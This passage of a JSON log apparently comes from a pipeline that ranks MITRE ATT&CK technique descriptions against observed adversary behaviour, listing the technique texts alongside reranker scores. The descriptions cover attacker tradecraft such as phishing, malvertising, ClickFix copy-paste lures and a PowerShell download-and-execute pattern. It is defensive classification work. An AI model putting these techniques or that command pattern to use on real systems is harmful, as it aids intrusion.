GetUserRealm and autodiscover in Office 365 environments. Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Technical Databases, Search Open Websites/Domains, or Phishing for Information), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: Phishing).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1585", + "text": "ATT&CK technique: T1585 Establish Accounts\nDescription: Adversaries may create and cultivate accounts with services that can be used during targeting. Adversaries can create accounts that can be used to build a persona to further operations. Persona development consists of the development of public information, presence, history and appropriate affiliations. This development could be applied to social media, website, or other publicly available information that could be referenced and scrutinized for legitimacy over the course of an operation using that persona or identity. For operations incorporating social engineering, the utilization of an online persona may be important. These personas may be fictitious or impersonate real people. The persona may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, Google, GitHub, Docker Hub, etc.). Establishing a persona may require development of additional documentation to make them seem real. This could include filling out profile information, developing social networks, or incorporating photos. Establishing accounts can also include the creation of accounts with email providers, which may be directly leveraged for Phishing for Information or Phishing. In addition, establishing accounts may allow adversaries to abuse free services, such as registering for trial periods to Acquire Infrastructure for malicious purposes.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1590.004", + "text": "ATT&CK technique: T1590.004 Network Topology\nDescription: Adversaries may gather information about the victim's network topology that can be used during targeting. Information about network topologies may include a variety of details, including the physical and/or logical arrangement of both external-facing and internal network environments. This information may also include specifics regarding network devices (gateways, routers, etc.) and other infrastructure. Adversaries may gather this information in various ways, such as direct collection actions via Active Scanning or Phishing for Information. Information about network topologies may also be exposed to adversaries via online or other accessible data sets (ex: Search Victim-Owned Websites). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Technical Databases or Search Open Websites/Domains), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: External Remote Services).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1590.003", + "text": "ATT&CK technique: T1590.003 Network Trust Dependencies\nDescription: Adversaries may gather information about the victim's network trust dependencies that can be used during targeting. Information about network trusts may include a variety of details, including second or third-party organizations/domains (ex: managed service providers, contractors, etc.) that have connected (and potentially elevated) network access. Adversaries may gather this information in various ways, such as direct elicitation via Phishing for Information. Information about network trusts may also be exposed to adversaries via online or other accessible data sets (ex: Search Open Technical Databases). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Active Scanning or Search Open Websites/Domains), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: Trusted Relationship).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1683", + "text": "ATT&CK technique: T1683 Generate Content\nDescription: Adversaries may create or generate content to support targeting and operations. This content may be used to establish personas, impersonate known individuals or organizations, and support Social Engineering, fraud, or influence activities. Written materials, audio, images, video, or other media may be developed and tailored to the target and objective. Content development may occur prior to or during an operation. Adversaries may develop or generate content in-house, source it through third parties, or produce it using AI-assisted tools. Adversaries may use AI to research targets, develop pretexts, and better understand the organizations and individuals they intend to target or deceive prior to generating content (i.e., Query Public AI Services); for obtaining access to AI tools used in content generation, see Artificial Intelligence. Content may be leveraged in support of techniques such as Phishing, Phishing for Information, Social Engineering, Financial Theft, or Establish Accounts. Generated or developed content does not include malicious code or scripts (i.e., Develop Capabilities and Artificial Intelligence).\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1591.002", + "text": "ATT&CK technique: T1591.002 Business Relationships\nDescription: Adversaries may gather information about the victim's business relationships that can be used during targeting. Information about an organization’s business relationships may include a variety of details, including second or third-party organizations/domains (ex: managed service providers, contractors, etc.) that have connected (and potentially elevated) network access. This information may also reveal supply chains and shipment paths for the victim’s hardware and software resources. Adversaries may gather this information in various ways, such as direct elicitation via Phishing for Information. Information about business relationships may also be exposed to adversaries via online or other accessible data sets (ex: Social Media or Search Victim-Owned Websites). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Websites/Domains), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: Supply Chain Compromise, Drive-by Compromise, or Trusted Relationship).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1596", + "text": "ATT&CK technique: T1596 Search Open Technical Databases\nDescription: Adversaries may search freely available technical databases for information about victims that can be used during targeting. Information about victims may be available in online databases and repositories, such as registrations of domains/certificates as well as public collections of network data/artifacts gathered from traffic and/or scans. Adversaries may search in different open databases depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Websites/Domains), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: External Remote Services or Trusted Relationship).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1584.008", + "text": "ATT&CK technique: T1584.008 Network Devices\nDescription: Adversaries may compromise third-party network devices that can be used during targeting. Network devices, such as small office/home office (SOHO) routers, may be compromised where the adversary's ultimate goal is not Initial Access to that environment, but rather to leverage these devices to support additional targeting. Once an adversary has control, compromised network devices can be used to launch additional operations, such as hosting payloads for Phishing campaigns (i.e., Link Target) or enabling the required access to execute Content Injection operations. Adversaries may also be able to harvest reusable credentials (i.e., Valid Accounts) from compromised network devices. Adversaries often target Internet-facing edge devices and related network appliances that specifically do not support robust host-based defenses. Compromised network devices may be used to support subsequent Command and Control activity, such as Hide Infrastructure through an established Proxy and/or Botnet network.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1583.008", + "text": "ATT&CK technique: T1583.008 Malvertising\nDescription: Adversaries may purchase online advertisements that can be abused to distribute malware to victims. Ads can be purchased to plant as well as favorably position artifacts in specific locations online, such as prominently placed within search engine results. These ads may make it more difficult for users to distinguish between actual search results and advertisements. Purchased ads may also target specific audiences using the advertising network’s capabilities, potentially further taking advantage of the trust inherently given to search engines and popular websites. Adversaries may purchase ads and other resources to help distribute artifacts containing malicious code to victims. Purchased ads may attempt to impersonate or spoof well-known brands. For example, these spoofed ads may trick victims into clicking the ad which could then send them to a malicious domain that may be a clone of official websites containing trojanized versions of the advertised software. Adversary’s efforts to create malicious domains and purchase advertisements may also be automated at scale to better resist cleanup efforts. Malvertising may be used to support Drive-by Target and Drive-by Compromise, potentially requiring limited interaction from the user if the ad contains code/exploits that infect the target system's web browser. Adversaries may also employ several techniques to evade detection by the advertising network. For example, adversaries may dynamically route ad clicks to send automated crawler/policy enforcer traffic to benign sites while validating potential targets then sending victims referred from real ad clicks to malicious pages. This infection vector may therefore remain hidden from the ad network as well as any visitor not reaching the malicious sites with a valid identifier from clicking on the advertisement. Other tricks, such as intentional typos to avoid brand reputation monitoring, may also be used to evade automated detection.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1070.008", + "text": "ATT&CK technique: T1070.008 Clear Mailbox Data\nDescription: Adversaries may modify mail and mail application data to remove evidence of their activity. Email applications allow users and other programs to export and delete mailbox data via command line tools or use of APIs. Mail application data can be emails, email metadata, or logs generated by the application or operating system, such as export requests. Adversaries may manipulate emails and mailbox data to remove logs, artifacts, and metadata, such as evidence of Phishing/Internal Spearphishing, Email Collection, Mail Protocols for command and control, or email-based exfiltration such as Exfiltration Over Alternative Protocol. For example, to remove evidence on Exchange servers adversaries have used the ExchangePowerShell PowerShell module, including Remove-MailboxExportRequest to remove evidence of mailbox exports. On Linux and macOS, adversaries may also delete emails through a command line utility called mail or use AppleScript to interact with APIs on macOS. Adversaries may also remove emails and metadata/headers indicative of spam or suspicious activity (for example, through the use of organization-wide transport rules) to reduce the likelihood of malicious emails being detected by security products.\nTactics: stealth\nPlatforms: Linux, Office Suite, Windows, macOS" + }, + { + "id": "T1608.006", + "text": "ATT&CK technique: T1608.006 SEO Poisoning\nDescription: Adversaries may poison mechanisms that influence search engine optimization (SEO) to further lure staged capabilities towards potential victims. Search engines typically display results to users based on purchased ads as well as the site’s ranking/score/reputation calculated by their web crawlers and algorithms. To help facilitate Drive-by Compromise, adversaries may stage content that explicitly manipulates SEO rankings in order to promote sites hosting their malicious payloads (such as Drive-by Target) within search engines. Poisoning SEO rankings may involve various tricks, such as stuffing keywords (including in the form of hidden text) into compromised sites. These keywords could be related to the interests/browsing habits of the intended victim(s) as well as more broad, seasonably popular topics (e.g. elections, trending news). In addition to internet search engines (such as Google), adversaries may also aim to manipulate specific in-site searches for developer platforms (such as GitHub) to deceive users towards Supply Chain Compromise lures. In-site searches will rank search results according to their own algorithms and metrics such as popularity which may be targeted and gamed by malicious actors. Adversaries may also purchase or plant incoming links to staged capabilities in order to boost the site’s calculated relevance and reputation. SEO poisoning may also be combined with evasive redirects and other cloaking mechanisms (such as measuring mouse movements or serving content based on browser user agents, user language/localization settings, or HTTP headers) in order to feed SEO inputs while avoiding scrutiny from defenders.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1589.003", + "text": "ATT&CK technique: T1589.003 Employee Names\nDescription: Adversaries may gather employee names that can be used during targeting. Employee names be used to derive email addresses as well as to help guide other reconnaissance efforts and/or craft more-believable lures. Adversaries may easily gather employee names, since they may be readily available and exposed via online or other accessible data sets (ex: Social Media or Search Victim-Owned Websites). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Phishing for Information), establishing operational resources (ex: Compromise Accounts), and/or initial access (ex: Phishing or Valid Accounts).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1204.004", + "text": "ATT&CK technique: T1204.004 Malicious Copy and Paste\nDescription: An adversary may rely upon a user copying and pasting code in order to gain execution. Users may be subjected to social engineering to get them to copy and paste code directly into a Command and Scripting Interpreter. One such strategy is \"ClickFix,\" in which adversaries present users with seemingly helpful solutions—such as prompts to fix errors or complete CAPTCHAs—that instead instruct the user to copy and paste malicious code. Malicious websites, such as those used in Drive-by Compromise, may present fake error messages or CAPTCHA prompts that instruct users to open a terminal or the Windows Run Dialog box and execute an arbitrary command. These commands may be obfuscated using encoding or other techniques to conceal malicious intent. Once executed, the adversary will typically be able to establish a foothold on the victim's machine. Adversaries may also leverage phishing emails for this purpose. When a user attempts to open an attachment, they may be presented with a fake error and offered a malicious command to paste as a solution, consistent with the \"ClickFix\" strategy. Tricking a user into executing a command themselves may help to bypass email filtering, browser sandboxing, or other mitigations designed to protect users against malicious downloaded files.\nTactics: execution\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1684", + "text": "ATT&CK technique: T1684 Social Engineering\nDescription: Adversaries may use social engineering techniques to influence users to take actions that result in unauthorized access, approval of changes, disclosure of sensitive information, or execution of adversary-supplied instructions (i.e., introduction of malicious payloads or software), while minimizing technical indicators. Adversaries may leverage trust-building methods across multiple channels (e.g., executive, vendor, or help desk scenarios, including AI-enabled voice interactions) to prompt user-authorized actions such as password resets, MFA changes, financial approvals, or the disclosure of sensitive information. Adversaries may also leverage common business communications and workflows such as email, collaboration platforms, voice communications, recruiting processes, help desk interactions, and SaaS consent mechanisms to make malicious requests appear routine and legitimate. Additionally, adversaries have persuaded victims to take actions through references of current events, harnessing relevant themes to the work role or the organizations mission. For example, adversaries may use scare tactics (i.e., threaten repercussions for non-compliance) or otherwise incite victims’ emotions in order to generate a sense of urgency to take action. This technique may include common social engineering patterns such as Phishing and Spearphishing Voice, often supported by convincing and targeted narratives.\nTactics: stealth\nPlatforms: Linux, Office Suite, SaaS, Windows, macOS" + }, + { + "id": "T1584.004", + "text": "ATT&CK technique: T1584.004 Server\nDescription: Adversaries may compromise third-party servers that can be used during targeting. Use of servers allows an adversary to stage, launch, and execute an operation. During post-compromise activity, adversaries may utilize servers for various tasks, including for Command and Control. Instead of purchasing a Server or Virtual Private Server, adversaries may compromise third-party servers in support of operations. Adversaries may also compromise web servers to support watering hole operations, as in Drive-by Compromise, or email servers to support Phishing operations.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1056.003", + "text": "ATT&CK technique: T1056.003 Web Portal Capture\nDescription: Adversaries may install code on externally facing portals, such as a VPN login page, to capture and transmit credentials of users who attempt to log into the service. For example, a compromised login page may log provided user credentials before logging the user in to the service. This variation on input capture may be conducted post-compromise using legitimate administrative access as a backup measure to maintain network access through External Remote Services and Valid Accounts or as part of the initial compromise by exploitation of the externally facing web service.\nTactics: collection, credential access\nPlatforms: Linux, Windows, macOS" + } + ], + "instruction": "Determine whether the ATT&CK technique directly describes the observed adversary behavior." + }, + "raw_response": { + "model": "Qwen/Qwen3-Reranker-4B", + "scores": [ + { + "item_id": "T1566", + "score": 1.0, + "rank": 0 + }, + { + "item_id": "T1598.003", + "score": 0.9765625, + "rank": 1 + }, + { + "item_id": "T1598", + "score": 0.94140625, + "rank": 2 + }, + { + "item_id": "T1684", + "score": 0.91796875, + "rank": 3 + }, + { + "item_id": "T1204", + "score": 0.70703125, + "rank": 4 + }, + { + "item_id": "T1608.005", + "score": 0.59375, + "rank": 5 + }, + { + "item_id": "T1566.002", + "score": 0.5625, + "rank": 6 + }, + { + "item_id": "T1593", + "score": 0.439453125, + "rank": 7 + }, + { + "item_id": "T1204.001", + "score": 0.439453125, + "rank": 8 + }, + { + "item_id": "T1592.001", + "score": 0.26953125, + "rank": 9 + }, + { + "item_id": "T1114", + "score": 0.2451171875, + "rank": 10 + }, + { + "item_id": "T1598.001", + "score": 0.2451171875, + "rank": 11 + }, + { + "item_id": "T1566.001", + "score": 0.2451171875, + "rank": 12 + }, + { + "item_id": "T1598.002", + "score": 0.2333984375, + "rank": 13 + }, + { + "item_id": "T1586", + "score": 0.22265625, + "rank": 14 + }, + { + "item_id": "T1566.004", + "score": 0.181640625, + "rank": 15 + }, + { + "item_id": "T1683.001", + "score": 0.1328125, + "rank": 16 + }, + { + "item_id": "T1683", + "score": 0.1328125, + "rank": 17 + }, + { + "item_id": "T1592.002", + "score": 0.125, + "rank": 18 + }, + { + "item_id": "T1583.006", + "score": 0.11962890625, + "rank": 19 + }, + { + "item_id": "T1056", + "score": 0.1005859375, + "rank": 20 + }, + { + "item_id": "T1598.004", + "score": 0.09619140625, + "rank": 21 + }, + { + "item_id": "T1566.003", + "score": 0.09619140625, + "rank": 22 + }, + { + "item_id": "T1588.007", + "score": 0.08447265625, + "rank": 23 + }, + { + "item_id": "T1594", + "score": 0.08447265625, + "rank": 24 + }, + { + "item_id": "T1592", + "score": 0.07568359375, + "rank": 25 + }, + { + "item_id": "T1585", + "score": 0.07568359375, + "rank": 26 + }, + { + "item_id": "T1684.001", + "score": 0.0712890625, + "rank": 27 + }, + { + "item_id": "T1586.002", + "score": 0.06396484375, + "rank": 28 + }, + { + "item_id": "T1534", + "score": 0.06005859375, + "rank": 29 + }, + { + "item_id": "T1592.004", + "score": 0.06005859375, + "rank": 30 + }, + { + "item_id": "T1204.004", + "score": 0.050537109375, + "rank": 31 + }, + { + "item_id": "T1589.001", + "score": 0.0419921875, + "rank": 32 + }, + { + "item_id": "T1589", + "score": 0.03759765625, + "rank": 33 + }, + { + "item_id": "T1059", + "score": 0.03759765625, + "rank": 34 + }, + { + "item_id": "T1584.006", + "score": 0.0242919921875, + "rank": 35 + }, + { + "item_id": "T1586.001", + "score": 0.0242919921875, + "rank": 36 + }, + { + "item_id": "T1036", + "score": 0.021728515625, + "rank": 37 + }, + { + "item_id": "T1608.004", + "score": 0.021728515625, + "rank": 38 + }, + { + "item_id": "T1585.002", + "score": 0.021728515625, + "rank": 39 + }, + { + "item_id": "T1593.001", + "score": 0.0203857421875, + "rank": 40 + }, + { + "item_id": "T1591", + "score": 0.0203857421875, + "rank": 41 + }, + { + "item_id": "T1591.002", + "score": 0.0203857421875, + "rank": 42 + }, + { + "item_id": "T1591.004", + "score": 0.0177001953125, + "rank": 43 + }, + { + "item_id": "T1590", + "score": 0.0177001953125, + "rank": 44 + }, + { + "item_id": "T1591.001", + "score": 0.01519775390625, + "rank": 45 + }, + { + "item_id": "T1593.002", + "score": 0.0125732421875, + "rank": 46 + }, + { + "item_id": "T1584.004", + "score": 0.0125732421875, + "rank": 47 + }, + { + "item_id": "T1596", + "score": 0.0111083984375, + "rank": 48 + }, + { + "item_id": "T1070.008", + "score": 0.01043701171875, + "rank": 49 + }, + { + "item_id": "T1592.003", + "score": 0.00982666015625, + "rank": 50 + }, + { + "item_id": "T1682", + "score": 0.00982666015625, + "rank": 51 + }, + { + "item_id": "T1591.003", + "score": 0.00811767578125, + "rank": 52 + }, + { + "item_id": "T1105", + "score": 0.00762939453125, + "rank": 53 + }, + { + "item_id": "T1590.004", + "score": 0.00762939453125, + "rank": 54 + }, + { + "item_id": "T1590.003", + "score": 0.00762939453125, + "rank": 55 + }, + { + "item_id": "T1584.008", + "score": 0.00762939453125, + "rank": 56 + }, + { + "item_id": "T1596.002", + "score": 0.007171630859375, + "rank": 57 + }, + { + "item_id": "T1590.001", + "score": 0.007171630859375, + "rank": 58 + }, + { + "item_id": "T1140", + "score": 0.006744384765625, + "rank": 59 + }, + { + "item_id": "T1583", + "score": 0.006744384765625, + "rank": 60 + }, + { + "item_id": "T1190", + "score": 0.006744384765625, + "rank": 61 + }, + { + "item_id": "T1683.002", + "score": 0.006317138671875, + "rank": 62 + }, + { + "item_id": "T1020", + "score": 0.005950927734375, + "rank": 63 + }, + { + "item_id": "T1608", + "score": 0.0052490234375, + "rank": 64 + }, + { + "item_id": "T1189", + "score": 0.00408935546875, + "rank": 65 + }, + { + "item_id": "T1071", + "score": 0.00360107421875, + "rank": 66 + }, + { + "item_id": "T1608.006", + "score": 0.0028076171875, + "rank": 67 + }, + { + "item_id": "T1589.003", + "score": 0.002716064453125, + "rank": 68 + }, + { + "item_id": "T1041", + "score": 0.002471923828125, + "rank": 69 + }, + { + "item_id": "T1583.008", + "score": 0.00164794921875, + "rank": 70 + }, + { + "item_id": "T1557", + "score": 0.00150299072265625, + "rank": 71 + }, + { + "item_id": "T1056.003", + "score": 0.00116729736328125, + "rank": 72 + }, + { + "item_id": "T1132", + "score": 0.00057220458984375, + "rank": 73 + }, + { + "item_id": "T1614", + "score": 0.0003566741943359375, + "rank": 74 + } + ], + "query_id": "behavior", + "usage": { + "input_tokens": 25689 + } + }, + "evidence_sha256": "0eebf214afd8cc295bffd61eb5bb63301f38d3a9a505560bc2e636527c0a4898" + }, + { + "stage": "rerank", + "function": "score", + "requested_model": "Qwen/Qwen3-Reranker-4B", + "runtime_model": "Qwen/Qwen3-Reranker-4B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 732.8, + "request_payload": { + "query": { + "id": "behavior", + "text": "Observed adversary behavior: sports a command line interface" + }, + "items": [ + { + "id": "T1059", + "text": "ATT&CK technique: T1059 Command and Scripting Interpreter\nDescription: Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell. There are also cross-platform interpreters such as Python, as well as those commonly associated with client applications such as JavaScript and Visual Basic. Adversaries may abuse these technologies in various ways as a means of executing arbitrary commands. Commands and scripts can be embedded in Initial Access payloads delivered to victims as lure documents or as secondary payloads downloaded from an existing C2. Adversaries may also execute commands through interactive terminals/shells, as well as utilize various Remote Services in order to achieve remote Execution.\nTactics: execution\nPlatforms: Containers, ESXi, IaaS, Identity Provider, Linux, Network Devices, Office Suite, SaaS, Windows, macOS\nLabeled report example: | Enterprise | T1059 | Command-Line Interface | Leviathan uses different command line tools, like net.exe or MURKYTOP. |" + }, + { + "id": "T1608", + "text": "ATT&CK technique: T1608 Stage Capabilities\nDescription: Adversaries may upload, install, or otherwise set up capabilities that can be used during targeting. To support their operations, an adversary may need to take capabilities they developed (Develop Capabilities) or obtained (Obtain Capabilities) and stage them on infrastructure under their control. These capabilities may be staged on infrastructure that was previously purchased/rented by the adversary (Acquire Infrastructure) or was otherwise compromised by them (Compromise Infrastructure). Capabilities may also be staged on web services, such as GitHub or Pastebin, or on Platform-as-a-Service (PaaS) offerings that enable users to easily provision applications. Staging of capabilities can aid the adversary in a number of initial access and post-compromise behaviors, including (but not limited to): * Staging web resources necessary to conduct Drive-by Compromise when a user browses to a site. * Staging web resources for a link target to be used with spearphishing. * Uploading malware or tools to a location accessible to a victim network to enable Ingress Tool Transfer. * Installing a previously acquired SSL/TLS certificate to use to encrypt command and control traffic (ex: Asymmetric Cryptography with Web Protocols).\nTactics: resource development\nPlatforms: PRE\nLabeled report example: It’s worth noting, however, that using Discord to host payloads is not new." + }, + { + "id": "T1587", + "text": "ATT&CK technique: T1587 Develop Capabilities\nDescription: Adversaries may build capabilities that can be used during targeting. Rather than purchasing, freely downloading, or stealing capabilities, adversaries may develop their own capabilities in-house. This is the process of identifying development requirements and building solutions such as malware, exploits, and self-signed certificates. Adversaries may develop capabilities to support their operations throughout numerous phases of the adversary lifecycle. As with legitimate development efforts, different skill sets may be required for developing capabilities. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary's development capabilities, provided the adversary plays a role in shaping requirements and maintains a degree of exclusivity to the capability.\nTactics: resource development\nPlatforms: PRE\nLabeled report example: The regime also developed a remote access tool for Android and iPhone mobile devices as part of a project dubbed Project 220." + }, + { + "id": "T1105", + "text": "ATT&CK technique: T1105 Ingress Tool Transfer\nDescription: Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp. Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer). On Windows, adversaries may use various utilities to download tools, such as `copy`, `finger`, certutil, and PowerShell commands such as IEX(New-Object Net.WebClient).downloadString() and Invoke-WebRequest. On Linux and macOS systems, a variety of utilities also exist, such as `curl`, `scp`, `sftp`, `tftp`, `rsync`, `finger`, and `wget`. A number of these tools, such as `wget`, `curl`, and `scp`, also exist on ESXi. After downloading a file, a threat actor may attempt to verify its integrity by checking its hash value (e.g., via `certutil -hashfile`). Adversaries may also abuse installers and package managers, such as `yum` or `winget`, to download tools to victim hosts. Adversaries have also abused file application features, such as the Windows `search-ms` protocol handler, to deliver malicious files to victims through remote file searches invoked by User Execution (typically after interacting with Phishing lures). Files can also be transferred using various Web Services as well as native or otherwise present tools on the victim system. In some cases, adversaries may be able to leverage services that sync between a web-based and an on-premises client, such as Dropbox or OneDrive, to transfer files onto victim systems. For example, by compromising a cloud account and logging into the service's web portal, an adversary may be able to trigger an automatic syncing process that transfers the file onto the victim's machine.\nTactics: command and control\nPlatforms: ESXi, Linux, Network Devices, Windows, macOS\nLabeled report example: Researchers also observed that the backdoor downloads and executes the Cobalt Strike penetration testing and post-exploitation toolkit on the victim's machine within some period of time after the infection." + }, + { + "id": "T1056", + "text": "ATT&CK technique: T1056 Input Capture\nDescription: Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture).\nTactics: collection, credential access\nPlatforms: Linux, Network Devices, Windows, macOS\nLabeled report example: As shown in Figure 14, the Stub is configured to execute the keystroke but not the webcam as the webcam value is not assigned." + }, + { + "id": "T1057", + "text": "ATT&CK technique: T1057 Process Discovery\nDescription: Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Administrator or otherwise elevated access may provide better process details. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. In Windows environments, adversaries could obtain details on running processes using the Tasklist utility via cmd or Get-Process via PowerShell. Information about processes can also be extracted from the output of Native API calls such as CreateToolhelp32Snapshot. In Mac and Linux, this is accomplished with the ps command. Adversaries may also opt to enumerate processes via `/proc`. ESXi also supports use of the `ps` command, as well as `esxcli system process list`. On network devices, Network Device CLI commands such as `show processes` can be used to display current running processes.\nTactics: discovery\nPlatforms: ESXi, Linux, Network Devices, Windows, macOS\nLabeled report example: * Tasklist" + }, + { + "id": "T1573", + "text": "ATT&CK technique: T1573 Encrypted Channel\nDescription: Adversaries may employ an encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.\nTactics: command and control\nPlatforms: ESXi, Linux, Network Devices, Windows, macOS\nLabeled report example: The C&C server TLS certificate is shown in Figure 7." + }, + { + "id": "T1505", + "text": "ATT&CK technique: T1505 Server Software Component\nDescription: Adversaries may abuse legitimate extensible development features of servers to establish persistent access to systems. Enterprise server applications may include features that allow developers to write and install software or scripts to extend the functionality of the main application. Adversaries may install malicious components to extend and abuse server applications.\nTactics: persistence\nPlatforms: ESXi, Linux, Network Devices, Windows, macOS\nLabeled report example: China Chopper: Web Shell that is able to execute code on compromised computers." + }, + { + "id": "T1113", + "text": "ATT&CK technique: T1113 Screen Capture\nDescription: Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as CopyFromScreen, xwd, or screencapture.\nTactics: collection\nPlatforms: Linux, Windows, macOS\nLabeled report example: * Ability to deploy TeamViewer on a compromised host" + }, + { + "id": "T1204", + "text": "ATT&CK technique: T1204 User Execution\nDescription: An adversary may rely upon specific actions by a user in order to gain execution. Users may be subjected to social engineering to get them to execute malicious code by, for example, opening a malicious document file or link. These user actions will typically be observed as follow-on behavior from forms of Phishing. While User Execution frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after Internal Spearphishing. Adversaries may also deceive users into performing actions such as: * Enabling Remote Access Tools, allowing direct control of the system to the adversary * Running malicious JavaScript in their browser, allowing adversaries to Steal Web Session Cookies * Downloading and executing malware for User Execution * Coerceing users to copy, paste, and execute malicious code manually For example, tech support scams can be facilitated through Phishing, vishing, or various forms of user interaction. Adversaries can use a combination of these methods, such as spoofing and promoting toll-free numbers or call centers that are used to direct victims to malicious websites, to deliver and execute payloads containing malware or Remote Access Tools.\nTactics: execution\nPlatforms: Containers, IaaS, Linux, Windows, macOS\nLabeled report example: The execution of the tool kicks off the infection process." + }, + { + "id": "T1071", + "text": "ATT&CK technique: T1071 Application Layer Protocol\nDescription: Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. Adversaries may utilize many different protocols, including those used for web browsing, transferring files, electronic mail, DNS, or publishing/subscribing. For connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), commonly used protocols are SMB, SSH, or RDP.\nTactics: command and control\nPlatforms: ESXi, Linux, Network Devices, Windows, macOS\nLabeled report example: Its C&C used HTTPS requests with base64-encoded data:" + }, + { + "id": "T1218", + "text": "ATT&CK technique: T1218 System Binary Proxy Execution\nDescription: Adversaries may bypass process and/or signature-based defenses by proxying execution of malicious content with signed, or otherwise trusted, binaries. Binaries used in this technique are often Microsoft-signed files, indicating that they have been either downloaded from Microsoft or are already native in the operating system. Binaries signed with trusted digital certificates can typically execute on Windows systems protected by digital signature validation. Several Microsoft signed binaries that are default on Windows installations can be used to proxy execution of other files or commands. Similarly, on Linux systems adversaries may abuse trusted binaries such as split to proxy execution of malicious commands.\nTactics: stealth\nPlatforms: Linux, Windows, macOS\nLabeled report example: The main tools of this threat actor, are built as DLL files, and launched with this commands:" + }, + { + "id": "T1005", + "text": "ATT&CK technique: T1005 Data from Local System\nDescription: Adversaries may search local system sources, such as file systems, configuration files, local databases, virtual machine files, or process memory, to find files of interest and sensitive data prior to Exfiltration. Adversaries may do this using a Command and Scripting Interpreter, such as cmd as well as a Network Device CLI, which have functionality to interact with the file system to gather information. Adversaries may also use Automated Collection on the local system.\nTactics: collection\nPlatforms: ESXi, Linux, Network Devices, Windows, macOS\nLabeled report example: In the following fragment, can be seen the code of the function used by the “ACT” command which appears only in some samples to exfiltrate the title of the window on which the user is working." + }, + { + "id": "T1082", + "text": "ATT&CK technique: T1082 System Information Discovery\nDescription: An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use this information to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. This behavior is distinct from Local Storage Discovery which is an adversary's discovery of local drive, disks and/or volumes. Tools such as Systeminfo can be used to gather detailed system information. If running with privileged access, a breakdown of system data can be gathered through the systemsetup configuration tool on macOS. Adversaries may leverage a Network Device CLI on network devices to gather detailed system information (e.g. show version). On ESXi servers, threat actors may gather system information from various esxcli utilities, such as `system hostname get` and `system version get`. Infrastructure as a Service (IaaS) cloud providers such as AWS, GCP, and Azure allow access to instance and virtual machine information via APIs. Successful authenticated API calls can return data such as the operating system platform and status of a particular instance or the model view of a virtual machine. System Information Discovery combined with information gathered from other forms of discovery and reconnaissance can drive payload development and concealment.\nTactics: discovery\nPlatforms: ESXi, IaaS, Linux, Network Devices, Windows, macOS\nLabeled report example: * Python backdoor command checking for MacOS indicating possibility of more cross-platform functionality in the future." + }, + { + "id": "T1053", + "text": "ATT&CK technique: T1053 Scheduled Task/Job\nDescription: Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system. Adversaries may use task scheduling to execute programs at system startup or on a scheduled basis for persistence. These mechanisms can also be abused to run a process under the context of a specified account (such as one with elevated permissions/privileges). Similar to System Binary Proxy Execution, 